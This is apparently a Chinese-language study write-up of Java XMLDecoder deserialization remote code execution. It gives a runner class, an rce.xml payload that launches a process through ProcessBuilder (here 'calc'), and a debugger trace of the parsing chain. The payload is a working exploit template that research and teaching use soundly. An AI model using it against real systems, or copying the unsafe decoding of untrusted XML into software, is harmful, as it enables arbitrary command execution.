PayloadRunner.java
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;
import java.util.HashMap;
public class PayloadRunner {
public static void main(String[] args) throws IOException, InterruptedException {
PayloadRunner payloadRunner = new PayloadRunner();
payloadRunner.deserialize();
}
public void serialize(){
HashMap<Object, Object> map = new HashMap<>();
map.put("noob","pen4uin");
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
public void deserialize() throws FileNotFoundException {
File xmlFile = new File("rce.xml");
FileInputStream fis = new FileInputStream(xmlFile);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
System.out.println(xmlDecoder.readObject());
xmlDecoder.close();
}
}
rce.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_121" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
测试效果
示例代码
public void serialize(){
HashMap<Object, Object> map = new HashMap<>();
map.put("noob","pen4uin");
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
测试效果
示例数据 demo.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_121" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>noob</string>
<string>pen4uin</string>
</void>
</object>
</java>
示例代码
public void deserialize() throws FileNotFoundException {
File xmlFile = new File("demo.xml");
FileInputStream fis = new FileInputStream(xmlFile);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
System.out.println(xmlDecoder.readObject());
xmlDecoder.close();
}
测试效果
XMLDecoder的解析流程看 @fnmsd 的文章
下面是调试过程中的一点记录
在 java.lang.ProcessImpl#create
处下断点,获取
调用栈
create:-1, ProcessImpl (java.lang)
<init>:386, ProcessImpl (java.lang)
start:137, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:841, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:770, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:80, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
deserialize:27, PayloadRunner (Deserialization.XMLDecoder)
main:11, PayloadRunner (Deserialization.XMLDecoder)
反序列化入口
- java.beans.XMLDecoder#readObject
调用 parsingComplete()
- java.beans.XMLDecoder#parsingComplete
调用 XMLDecoder.this.handler.parse()
- com.sun.beans.decoder.DocumentHandler#parse
调用 SAXParserFactory.newInstance().newSAXParser().parse()
- com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse()
调用 xmlReader.parse()
- com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl.JAXPSAXParser#parse(org.xml.sax.InputSource)
调用父类的parse() 方法
- com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse(org.xml.sax.InputSource)
调用 parse()
- com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
调用 fConfiguration.parse()
- com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse()
经过一些不关心的配置后继续调用this.parse()方法
- com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(boolean)
调用处理XML数据的方法:fCurrentScanner.scanDocument()
- com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
当处理到 END_ELEMENT 时, 调用 fDriver.next()
-
此时
fDriver
为FragmentContentDriver
-
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.FragmentContentDriver#next
解析到SCANNER_STATE_END_ELEMENT_TAG时会调用scanEndElement()
- com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanEndElement
经过以下调用后执行到
fDocumentHandler.endElement() -> fContentHandler.endElement() -> this.handler.endElement()
经过两次 this.getValueObject() 调用后,执行到
- java.beans.Expression#getValue
- 反射机制
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}
- 当前参数
经过以下调用后
执行到 MethodUtil.invoke
- 反射执行ProcessBuilder.start()
测试效果